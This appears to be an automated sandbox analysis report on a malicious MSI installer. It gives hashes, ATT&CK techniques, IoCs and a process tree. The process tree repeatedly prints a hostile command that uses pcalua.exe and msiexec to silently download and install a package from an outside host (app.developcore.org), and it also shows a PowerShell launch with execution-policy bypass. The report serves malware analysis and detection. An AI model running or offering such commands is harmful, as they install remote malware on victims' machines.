118c1187c5b37ab9c4f9f39500d777c0a914c379d853439608157379dcb71772

Analysis

max time kernel
1161s
max time network
1163s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
13/11/2024, 13:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.msi
Size 1.8MB
Sample241113-qwd4csslbz
SHA256 118c1187c5b37ab9c4f9f39500d777c0a914c379d853439608157379dcb71772
MD5 b62391ef588987e34030159325987a21
SHA1 7c8d0c37a8dd4d9f5c9447f7d6f78926d05d6d2d
SHA512 a4ae63f9cd71d78303cdd1d3aa9e7bfad36e735b773210a26a2af4907aa6ee63e9edc2959a2f1eb9999808727bbdec523e430d3dc91d4bdc603c829b53e5432a
SSDEEP 49152:9acTt5QDGgYBkx5upDun9RaUnxKvmP4vMbu5yxig:RwYBkhaU8vm
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Use of msiexec (install) with remote resource 20 IoCs

pid	Process
3400	msiexec.exe
3368	msiexec.exe
4736	msiexec.exe
4960	msiexec.exe
1664	msiexec.exe
2056	msiexec.exe
2012	msiexec.exe
1260	msiexec.exe
3268	msiexec.exe
3720	msiexec.exe
4988	msiexec.exe
1012	msiexec.exe
2768	msiexec.exe
4540	msiexec.exe
3644	msiexec.exe
5084	msiexec.exe
3880	msiexec.exe
3716	msiexec.exe
2156	msiexec.exe
3900	msiexec.exe

Blocklisted process makes network request 21 IoCs

flow	pid	Process
2	3636	msiexec.exe
3	3636	msiexec.exe
5	3636	msiexec.exe
7	3636	msiexec.exe
9	3636	msiexec.exe
10	3636	msiexec.exe
11	3636	msiexec.exe
12	3636	msiexec.exe
13	3636	msiexec.exe
15	3636	msiexec.exe
16	3636	msiexec.exe
17	3636	msiexec.exe
18	3636	msiexec.exe
19	3636	msiexec.exe
20	3636	msiexec.exe
21	3636	msiexec.exe
22	3636	msiexec.exe
23	3636	msiexec.exe
24	3636	msiexec.exe
25	3636	msiexec.exe
26	3636	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe

Drops file in Windows directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\~DF10E99B4B0324503F.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFAA5ADCE684004581.TMP	msiexec.exe
File created	C:\Windows\Installer\e57ca16.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICA55.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICEA1.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFACBF35062F3597C9.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICB50.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICC2C.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{929D2266-B432-44D1-A3A5-33B93F1B4352}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICDD3.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICE33.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF85AA7779DC2ED480.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e57ca16.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICBCE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICDD4.tmp	msiexec.exe

Loads dropped DLL 7 IoCs

pid	Process
2708	MsiExec.exe
2708	MsiExec.exe
2708	MsiExec.exe
2708	MsiExec.exe
2708	MsiExec.exe
2708	MsiExec.exe
2708	MsiExec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4068	powershell.exe

Event Triggered Execution: Installer Packages 2 TTPs 21 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
4960	msiexec.exe
3716	msiexec.exe
3900	msiexec.exe
5084	msiexec.exe
3248	msiexec.exe
3400	msiexec.exe
3368	msiexec.exe
4736	msiexec.exe
1664	msiexec.exe
3720	msiexec.exe
3644	msiexec.exe
2156	msiexec.exe
2056	msiexec.exe
2012	msiexec.exe
1260	msiexec.exe
3268	msiexec.exe
4988	msiexec.exe
1012	msiexec.exe
2768	msiexec.exe
4540	msiexec.exe
3880	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000001d3755855d3e98e80000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800001d3755850000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff0000000007000100006809001d375585000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d1d375585000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000001d37558500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3636	msiexec.exe
3636	msiexec.exe
4068	powershell.exe
4068	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3248	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3248	msiexec.exe
Token: SeSecurityPrivilege	3636	msiexec.exe
Token: SeCreateTokenPrivilege	3248	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3248	msiexec.exe
Token: SeLockMemoryPrivilege	3248	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3248	msiexec.exe
Token: SeMachineAccountPrivilege	3248	msiexec.exe
Token: SeTcbPrivilege	3248	msiexec.exe
Token: SeSecurityPrivilege	3248	msiexec.exe
Token: SeTakeOwnershipPrivilege	3248	msiexec.exe
Token: SeLoadDriverPrivilege	3248	msiexec.exe
Token: SeSystemProfilePrivilege	3248	msiexec.exe
Token: SeSystemtimePrivilege	3248	msiexec.exe
Token: SeProfSingleProcessPrivilege	3248	msiexec.exe
Token: SeIncBasePriorityPrivilege	3248	msiexec.exe
Token: SeCreatePagefilePrivilege	3248	msiexec.exe
Token: SeCreatePermanentPrivilege	3248	msiexec.exe
Token: SeBackupPrivilege	3248	msiexec.exe
Token: SeRestorePrivilege	3248	msiexec.exe
Token: SeShutdownPrivilege	3248	msiexec.exe
Token: SeDebugPrivilege	3248	msiexec.exe
Token: SeAuditPrivilege	3248	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3248	msiexec.exe
Token: SeChangeNotifyPrivilege	3248	msiexec.exe
Token: SeRemoteShutdownPrivilege	3248	msiexec.exe
Token: SeUndockPrivilege	3248	msiexec.exe
Token: SeSyncAgentPrivilege	3248	msiexec.exe
Token: SeEnableDelegationPrivilege	3248	msiexec.exe
Token: SeManageVolumePrivilege	3248	msiexec.exe
Token: SeImpersonatePrivilege	3248	msiexec.exe
Token: SeCreateGlobalPrivilege	3248	msiexec.exe
Token: SeBackupPrivilege	5060	vssvc.exe
Token: SeRestorePrivilege	5060	vssvc.exe
Token: SeAuditPrivilege	5060	vssvc.exe
Token: SeBackupPrivilege	3636	msiexec.exe
Token: SeRestorePrivilege	3636	msiexec.exe
Token: SeRestorePrivilege	3636	msiexec.exe
Token: SeTakeOwnershipPrivilege	3636	msiexec.exe
Token: SeRestorePrivilege	3636	msiexec.exe
Token: SeTakeOwnershipPrivilege	3636	msiexec.exe
Token: SeRestorePrivilege	3636	msiexec.exe
Token: SeTakeOwnershipPrivilege	3636	msiexec.exe
Token: SeRestorePrivilege	3636	msiexec.exe
Token: SeTakeOwnershipPrivilege	3636	msiexec.exe
Token: SeRestorePrivilege	3636	msiexec.exe
Token: SeTakeOwnershipPrivilege	3636	msiexec.exe
Token: SeRestorePrivilege	3636	msiexec.exe
Token: SeTakeOwnershipPrivilege	3636	msiexec.exe
Token: SeRestorePrivilege	3636	msiexec.exe
Token: SeTakeOwnershipPrivilege	3636	msiexec.exe
Token: SeRestorePrivilege	3636	msiexec.exe
Token: SeTakeOwnershipPrivilege	3636	msiexec.exe
Token: SeRestorePrivilege	3636	msiexec.exe
Token: SeTakeOwnershipPrivilege	3636	msiexec.exe
Token: SeRestorePrivilege	3636	msiexec.exe
Token: SeTakeOwnershipPrivilege	3636	msiexec.exe
Token: SeRestorePrivilege	3636	msiexec.exe
Token: SeTakeOwnershipPrivilege	3636	msiexec.exe
Token: SeDebugPrivilege	4068	powershell.exe
Token: SeIncreaseQuotaPrivilege	4068	powershell.exe
Token: SeSecurityPrivilege	4068	powershell.exe
Token: SeTakeOwnershipPrivilege	4068	powershell.exe
Token: SeLoadDriverPrivilege	4068	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3248	msiexec.exe
3248	msiexec.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 3636 wrote to memory of 4076	3636	msiexec.exe	85
PID 3636 wrote to memory of 4076	3636	msiexec.exe	85
PID 3636 wrote to memory of 2708	3636	msiexec.exe	87
PID 3636 wrote to memory of 2708	3636	msiexec.exe	87
PID 3636 wrote to memory of 2708	3636	msiexec.exe	87
PID 2708 wrote to memory of 4068	2708	MsiExec.exe	88
PID 2708 wrote to memory of 4068	2708	MsiExec.exe	88
PID 2708 wrote to memory of 4068	2708	MsiExec.exe	88
PID 4960 wrote to memory of 3400	4960	pcalua.exe	92
PID 4960 wrote to memory of 3400	4960	pcalua.exe	92
PID 5100 wrote to memory of 3368	5100	pcalua.exe	94
PID 5100 wrote to memory of 3368	5100	pcalua.exe	94
PID 3748 wrote to memory of 4736	3748	pcalua.exe	96
PID 3748 wrote to memory of 4736	3748	pcalua.exe	96
PID 1216 wrote to memory of 4960	1216	pcalua.exe	98
PID 1216 wrote to memory of 4960	1216	pcalua.exe	98
PID 2060 wrote to memory of 1664	2060	pcalua.exe	100
PID 2060 wrote to memory of 1664	2060	pcalua.exe	100
PID 3012 wrote to memory of 2056	3012	pcalua.exe	102
PID 3012 wrote to memory of 2056	3012	pcalua.exe	102
PID 1560 wrote to memory of 2012	1560	pcalua.exe	104
PID 1560 wrote to memory of 2012	1560	pcalua.exe	104
PID 500 wrote to memory of 1260	500	pcalua.exe	106
PID 500 wrote to memory of 1260	500	pcalua.exe	106
PID 4284 wrote to memory of 3268	4284	pcalua.exe	108
PID 4284 wrote to memory of 3268	4284	pcalua.exe	108
PID 1960 wrote to memory of 3720	1960	pcalua.exe	110
PID 1960 wrote to memory of 3720	1960	pcalua.exe	110
PID 1664 wrote to memory of 4988	1664	pcalua.exe	112
PID 1664 wrote to memory of 4988	1664	pcalua.exe	112
PID 4824 wrote to memory of 1012	4824	pcalua.exe	114
PID 4824 wrote to memory of 1012	4824	pcalua.exe	114
PID 1588 wrote to memory of 2768	1588	pcalua.exe	116
PID 1588 wrote to memory of 2768	1588	pcalua.exe	116
PID 4420 wrote to memory of 4540	4420	pcalua.exe	118
PID 4420 wrote to memory of 4540	4420	pcalua.exe	118
PID 696 wrote to memory of 3644	696	pcalua.exe	120
PID 696 wrote to memory of 3644	696	pcalua.exe	120
PID 2136 wrote to memory of 5084	2136	pcalua.exe	122
PID 2136 wrote to memory of 5084	2136	pcalua.exe	122
PID 1060 wrote to memory of 3880	1060	pcalua.exe	124
PID 1060 wrote to memory of 3880	1060	pcalua.exe	124
PID 4588 wrote to memory of 3716	4588	pcalua.exe	126
PID 4588 wrote to memory of 3716	4588	pcalua.exe	126
PID 4944 wrote to memory of 2156	4944	pcalua.exe	128
PID 4944 wrote to memory of 2156	4944	pcalua.exe	128
PID 3948 wrote to memory of 3900	3948	pcalua.exe	130
PID 3948 wrote to memory of 3900	3948	pcalua.exe	130

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\file.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3248

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3636
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:4076
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 27313B1C7730649660745DA1B01B2BE4
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssCEED.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiCEE9.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrCEEA.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrCEEB.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4068

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:5060

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:4960
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:3400

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:5100
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:3368

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:3748
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:4736

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:1216
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:4960

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:1664

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:2056

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:1560
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:2012

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:500
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:1260

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:4284
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:3268

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:3720

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:1664
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:4988

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:4824
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:1012

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:1588
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:2768

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:4420
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:4540

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:696
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:3644

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:5084

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:1060
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:3880

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:4588
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:3716

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:4944
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:2156

\??\c:\windows\system32\pcalua.exe
c:\windows\system32\pcalua.exe -a msiexec -c /Q /i https://app.developcore.org/Admin-a182971.msi
1⤵
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /Q /i https://app.developcore.org/Admin-a182971.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:3900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e57ca19.rbs

Path C:\Config.Msi\e57ca19.rbs
Size 201KB
SHA256 4670e12158bcc40ac574d6d9725720598233053b8c0afe27db81c6e033bdad17
MD5 e2053c8380d8f542271fc93fe52a73d9
SHA1 780df60cda3f3eecccfb883abdd9ec0fea7cd50f
SHA512 49e7d079aaf2610f856ddb9f8b0c94395d8572cd9e97841e21b491ad266989da6ce4f3b52eb6ed888459be17ee6d9f578be41c4af1b8fcfc36f2c99bffacad8a
SSDEEP 3072:us7lwALLOj9WlhuREJsZaXcIIIGyHytAyZqm0+SqSBr5vEQVxZyIrxo:zfLLOBiuRzDXyHyjZhSp5vjcR
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_02cge0yf.qys.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_02cge0yf.qys.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

pssCEED.ps1

Path C:\Users\Admin\AppData\Local\Temp\pssCEED.ps1
Size 6KB
SHA256 53094df6fa4e57a3265ff04bc1e970c10bcdb3d4094ad6dd610c05b7a8b79e0f
MD5 30c30ef2cb47e35101d13402b5661179
SHA1 25696b2aab86a9233f19017539e2dd83b2f75d4e
SHA512 882be2768138bb75ff7dde7d5ca4c2e024699398baacd0ce1d4619902402e054297e4f464d8cb3c22b2f35d3dabc408122c207facad64ec8014f2c54834cf458
SSDEEP 96:5Wb5VNkKmeHn/V2BVrIovmgNlGjxcj6BngOcvjb:5WbyZ/gVyvb
MD5 SHA1 SHA512 SSDEEP

Submit Download

scrCEEA.ps1

Path C:\Users\Admin\AppData\Local\Temp\scrCEEA.ps1
Size 1KB
SHA256 35b4550050748c54faad1e5883c281f29c08e817cc193432e7b9b43124a7962a
MD5 6dd0e4925bb85d9b3b1b1c91215dea5c
SHA1 af13d038ec63bbf1664cffea9a6ac59a4a8dec20
SHA512 9c2791126e8e1beaec129fc681f4f36c8dd728f9017891f4972128c8bb9e7e0b4773ca0d9a3a1ae46a47390841df7984262d09e141668faa51cc9419d80865d6
MD5 SHA1 SHA512

Submit Download

MSICA55.tmp

